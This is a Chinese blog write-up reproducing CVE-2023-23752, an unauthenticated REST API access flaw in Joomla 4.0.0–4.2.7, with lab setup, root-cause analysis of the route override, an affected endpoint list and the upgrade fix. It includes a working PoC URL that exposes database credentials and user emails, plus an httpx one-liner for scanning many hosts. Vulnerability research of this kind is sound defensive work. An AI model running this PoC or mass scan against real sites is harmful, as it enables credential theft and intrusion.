[ 漏洞复现篇 ] Joomla未授权访问Rest API漏洞(CVE-2023-23752)
创始人
2025-05-31 23:53:50
0

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 一、漏洞编号
  • 二、漏洞简介
  • 三、受影响版本
  • 四、Joomla指纹信息
  • 五、环境搭建
    • 1、下载joomla
    • 2、安装joomal
  • 六、漏洞复现
    • 1、POC
    • 2、漏洞复现
    • 3、回显出账号密码
  • 七、漏洞分析
    • 1、Joomla简介
    • 2、漏洞分析
    • 3、route:路由选择与鉴权
  • 八、受损的API清单
  • 九、漏洞修复

一、漏洞编号

CVE-2023-23752

二、漏洞简介

Joomla是一套全球知名的内容管理系统(CMS),其使用PHP语言加上MySQL数据库所开发,可以在Linux、Windows、MacOSX等各种不同的平台上运行。
在 Joomla版本为4.0.0 到 4.2.7中发现了一个漏洞(CVE-2023-23752)、可以对 web 服务端点进行未经授权访问。目前该漏洞的细节及PoC/EXP已公开。该漏洞影响较大,建议客户尽快做好自查及防护。

三、受影响版本

Joomla CMS 4.0.0 ~ 4.2.7

四、Joomla指纹信息

{	"match": "body_contains","content": "content=\"joomla"},
{	"match": "body_contains","content": "/media/system/js/core.js"},
{	"match": "body_contains","content": "/media/system/js/mootools-core.js"}

五、环境搭建

1、下载joomla

1、上官网下载

https://www.joomlachina.cn

2、我复现的环境

https://pan.baidu.com/s/19D5apgrej4ASpTj2vXsZCw?pwd=wmzd 

2、安装joomal

直接phpstudy或者wamp搭建,下载解压后放入

wamp/www/Joomla或者phpstudy/PHPTutorial/WWW/Joomla/目录下。

注意:php版本需要7.2.5以上phpstudy更新php版本
访问http://127.0.0.1/Joomla/就可以安装joomla了

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

安装完成

在这里插入图片描述

进入登陆界面

在这里插入图片描述

六、漏洞复现

1、POC

单站点检测:

/api/index.php/v1/config/application?public=true

批量检测:

httpx -l ip.txt -path '/api/index.php/v1/config/application?public=true'

2、漏洞复现

直接将POC拼接到url

http://127.0.0.1/Joomla4.2.7/api/index.php/v1/config/application?public=true
http://127.0.0.1/Joomla4.2.7/api/index.php/v1/users?public=true

3、回显出账号密码

/v1/config/application这个API用于获取网站最重要的配置信息,包含数据库的账号与密码。

在这里插入图片描述

/v1/users这个API用于获取网站用户名以及邮箱账号

在这里插入图片描述

七、漏洞分析

原文链接:https://xz.aliyun.com/t/12175#toc-4

1、Joomla简介

Joomla大致有三个路由入口,分别是
1、根目录的index.php(用户访问文章)
2、根目录的administrator/index.php(管理员管理)
3、根目录的api/index.php(开发者爱好的Rest API)
未授权的接口正是第三个入口。因此影响的只有Joomla4.0.0——Joomla4.2.7(Rest API 4.x正式开发)

2、漏洞分析

这里仅重点分析api/index.php这个路由的问题(index.php和administrator/index.php找不到漏洞)。
网站输入/api/index.php开启debug模式

在这里插入图片描述

index.php会来到app.php。其中$app主要的input成员存放所有的HTTP请求参数

在这里插入图片描述

在execute()函数中,会经过sanityCheckSystemVariables函数,此函数用来过滤渲染模板的参数,主要防止XSS漏洞。setupLogging和createExtensionNameSpaceMap主要是系统的额外记录工作。doExecute就是具体的路由逻辑函数。

在这里插入图片描述

doExecute中最重要的就是route和dispatch函数。

3、route:路由选择与鉴权

整个route函数分为两部分,路由选择和身份校验。

在这里插入图片描述

逻辑十分清晰,主要是直接通过parseApiRoute函数从请求的方法和url到$routers中找到对应的路由信息

在这里插入图片描述

身份验证的代码加上debug信息可以知道public参数控制着API是否对外开放。默认情况下是false,不对外开放。但是这里大部分情况都会选择直接下一步。但是回过头看路由获取parseApiRoute时会有新的发现

在这里插入图片描述

这里发送请求
http://x.x.x.x/api/index.php/v1/banners?public=true
再来看route变量会发现惊喜

在这里插入图片描述

此时route.var中的变量会被请求的变量覆盖。由于public=true,所以接口不需要身份验证,直接到达路由分发,也就是业务逻辑。

八、受损的API清单

由于能够直接访问API了,从中找到最终的信息即可。

/api/index.php/v1/config/application?public=true

此API用于获取网站最重要的配置信息,其中包含数据库的账号与密码。
其他受损API如下

v1/banners
v1/banners/:id
v1/banners
v1/banners/:id
v1/banners/:id
v1/banners/clients
v1/banners/clients/:id
v1/banners/clients
v1/banners/clients/:id
v1/banners/clients/:id
v1/banners/categories
v1/banners/categories/:id
v1/banners/categories
v1/banners/categories/:id
v1/banners/categories/:id
v1/banners/:id/contenthistory
v1/banners/:id/contenthistory/keep
v1/banners/:id/contenthistory
v1/config/application
v1/config/application
v1/config/:component_name
v1/config/:component_name
v1/contacts/form/:id
v1/contacts
v1/contacts/:id
v1/contacts
v1/contacts/:id
v1/contacts/:id
v1/contacts/categories
v1/contacts/categories/:id
v1/contacts/categories
v1/contacts/categories/:id
v1/contacts/categories/:id
v1/fields/contacts/contact
v1/fields/contacts/contact/:id
v1/fields/contacts/contact
v1/fields/contacts/contact/:id
v1/fields/contacts/contact/:id
v1/fields/contacts/mail
v1/fields/contacts/mail/:id
v1/fields/contacts/mail
v1/fields/contacts/mail/:id
v1/fields/contacts/mail/:id
v1/fields/contacts/categories
v1/fields/contacts/categories/:id
v1/fields/contacts/categories
v1/fields/contacts/categories/:id
v1/fields/contacts/categories/:id
v1/fields/groups/contacts/contact
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/contact
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/mail
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/mail
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/categories
v1/fields/groups/contacts/categories/:id
v1/fields/groups/contacts/categories
v1/fields/groups/contacts/categories/:id
v1/fields/groups/contacts/categories/:id
v1/contacts/:id/contenthistory
v1/contacts/:id/contenthistory/keep
v1/contacts/:id/contenthistory
v1/content/articles
v1/content/articles/:id
v1/content/articles
v1/content/articles/:id
v1/content/articles/:id
v1/content/categories
v1/content/categories/:id
v1/content/categories
v1/content/categories/:id
v1/content/categories/:id
v1/fields/content/articles
v1/fields/content/articles/:id
v1/fields/content/articles
v1/fields/content/articles/:id
v1/fields/content/articles/:id
v1/fields/content/categories
v1/fields/content/categories/:id
v1/fields/content/categories
v1/fields/content/categories/:id
v1/fields/content/categories/:id
v1/fields/groups/content/articles
v1/fields/groups/content/articles/:id
v1/fields/groups/content/articles
v1/fields/groups/content/articles/:id
v1/fields/groups/content/articles/:id
v1/fields/groups/content/categories
v1/fields/groups/content/categories/:id
v1/fields/groups/content/categories
v1/fields/groups/content/categories/:id
v1/fields/groups/content/categories/:id
v1/content/articles/:id/contenthistory
v1/content/articles/:id/contenthistory/keep
v1/content/articles/:id/contenthistory
v1/extensions
v1/languages/content
v1/languages/content/:id
v1/languages/content
v1/languages/content/:id
v1/languages/content/:id
v1/languages/overrides/search
v1/languages/overrides/search/cache/refresh
v1/languages/overrides/site/zh-CN
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/site/zh-CN
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/administrator/zh-CN
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/administrator/zh-CN
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/site/en-GB
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/site/en-GB
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/administrator/en-GB
v1/languages/overrides/administrator/en-GB/:id
v1/languages/overrides/administrator/en-GB
v1/languages/overrides/administrator/en-GB/:id
v1/languages/overrides/administrator/en-GB/:id
v1/languages
v1/languages
v1/media/adapters
v1/media/adapters/:id
v1/media/files
v1/media/files/:path/
v1/media/files/:path
v1/media/files
v1/media/files/:path
v1/media/files/:path
v1/menus/site
v1/menus/site/:id
v1/menus/site
v1/menus/site/:id
v1/menus/site/:id
v1/menus/administrator
v1/menus/administrator/:id
v1/menus/administrator
v1/menus/administrator/:id
v1/menus/administrator/:id
v1/menus/site/items
v1/menus/site/items/:id
v1/menus/site/items
v1/menus/site/items/:id
v1/menus/site/items/:id
v1/menus/administrator/items
v1/menus/administrator/items/:id
v1/menus/administrator/items
v1/menus/administrator/items/:id
v1/menus/administrator/items/:id
v1/menus/site/items/types
v1/menus/administrator/items/types
v1/messages
v1/messages/:id
v1/messages
v1/messages/:id
v1/messages/:id
v1/modules/types/site
v1/modules/types/administrator
v1/modules/site
v1/modules/site/:id
v1/modules/site
v1/modules/site/:id
v1/modules/site/:id
v1/modules/administrator
v1/modules/administrator/:id
v1/modules/administrator
v1/modules/administrator/:id
v1/modules/administrator/:id
v1/newsfeeds/feeds
v1/newsfeeds/feeds/:id
v1/newsfeeds/feeds
v1/newsfeeds/feeds/:id
v1/newsfeeds/feeds/:id
v1/newsfeeds/categories
v1/newsfeeds/categories/:id
v1/newsfeeds/categories
v1/newsfeeds/categories/:id
v1/newsfeeds/categories/:id
v1/plugins
v1/plugins/:id
v1/plugins/:id
v1/privacy/requests
v1/privacy/requests/:id
v1/privacy/requests/export/:id
v1/privacy/requests
v1/privacy/consents
v1/privacy/consents/:id
v1/privacy/consents/:id
v1/redirects
v1/redirects/:id
v1/redirects
v1/redirects/:id
v1/redirects/:id
v1/tags
v1/tags/:id
v1/tags
v1/tags/:id
v1/tags/:id
v1/templates/styles/site
v1/templates/styles/site/:id
v1/templates/styles/site
v1/templates/styles/site/:id
v1/templates/styles/site/:id
v1/templates/styles/administrator
v1/templates/styles/administrator/:id
v1/templates/styles/administrator
v1/templates/styles/administrator/:id
v1/templates/styles/administrator/:id
v1/users
v1/users/:id
v1/users
v1/users/:id
v1/users/:id
v1/fields/users
v1/fields/users/:id
v1/fields/users
v1/fields/users/:id
v1/fields/users/:id
v1/fields/groups/users
v1/fields/groups/users/:id
v1/fields/groups/users
v1/fields/groups/users/:id
v1/fields/groups/users/:id
v1/users/groups
v1/users/groups/:id
v1/users/groups
v1/users/groups/:id
v1/users/groups/:id
v1/users/levels
v1/users/levels/:id
v1/users/levels
v1/users/levels/:id
v1/users/levels/:id

九、漏洞修复

升级JoomlaCMS版本到 4.2.8

相关内容

热门资讯

驾驶员岗位责任书 驾驶员岗位责...   为确保驾驶员安全行车,自觉遵守交通法则,减少风险,特制定如下责任书和协议:   1. 积极参加业...
工作责任书格式 工作责任书格式...   为强化内部管理,规范经营运作,明确工作责任,提高经济效益,全面加快公路产业开发工作步伐,根据市局...
员工岗位责任书 员工岗位责任书...   为加强和规范企业管理行为,公司对员工工作权利和义务的明确。造就和培养一支纪律严明、素质过硬的员工...
岗位安全责任书 岗位安全责任书...   甲方: (以下简称甲方)   乙方: (以下简称乙方)   经双方协商一致,自愿签订本协议,共同...
幼儿园岗位责任书 幼儿园岗位责...   为确保幼儿在园期间的人身安全,维护幼儿园正常教育教学秩序,根据市教体局的相关要求,结合我园实际,...
工作岗位责任书 工作岗位责任书...   为深化学院 人事制度和分配制度改革,推行聘任制,加强对聘用人员的管理,特制定以下条款,予以遵守。...
岗位目标责任书 岗位目标责任书...   为了进一步落实岗位职责、强化岗位目标考核,根据水电维修服务岗位的特殊性,结合学校教育教学工作的实...
岗位责任书范本 岗位责任书范本...   ××有限公司(以下简称甲方)聘用(以下简称乙方,身份证号码:)为甲方员工...
教师岗位目标责任书 教师岗位目...   一、基本情况:   姓名: 年龄: 职称: 任教科目、班级:   其它工作:   二、岗位目标:...
加油站安全责任书 加油站安全责...   为认真贯彻落实“安全第一,预防为主、综合治理”的安全生产方针,强化安全管理,有效遏制重、特大事故...
幼儿园教师安全责任书 幼儿园与...   幼儿园工作安全第一,安全工作教师先行,为了加强管理,落实责任,杜绝幼儿园事故的发生,我园本着“安...
暑假安全责任书 暑假安全责任书... 尊敬的家长:   暑假将至,为使幼儿过一个安全、健康而有意义的假期,切实保障幼儿人身安全,根据上级要...
岗位目标责任书格式 岗位目标责...   为明确岗位职责、任务和目标,认真履行职责,完成任务目标,加强责任考核,特签订本目标责任书。   ...
目标管理责任书格式 目标管理责...   为明确岗位职责、任务和目标,认真履行职责,完成任务目标,加强责任考核,特签订本目标责任书。 一、...
安全目标责任书 安全目标责任书...   为加强本企业的安全管理工作,根据“谁主管,谁负责”的原则和认真贯彻“安全第一,预防为主”的安全生...
安全生产责任书格式 安全生产责...   发包单位: (以下简称甲方)   承包单位: (以下简称乙方)   为了认真贯彻“安全第一、预防...
最新或2023(历届)鼠年春节...  【预测】最新或2023(历届)元旦、春节、清明节、劳动节、端午节、中秋节和国庆节放假调休日期的具体...
工作目标责任书格式 工作目标责...   甲方:   乙方:   为充分调动公司职能部门的工作积极性、主动性和创造性,更好服务于公司的品牌...
最新或2023(历届)公务员事... 最新或2023(历届)2月7日至最新或2023(历届)2月13日调休,放假7日。  2月7日(星期日...
讲奉献有作为做心中有民的党员发... 讲奉献有作为做心中有民的党员发言稿一  每一位党员在入党时都会宣读这样一段入党誓词:“我志愿加入中国...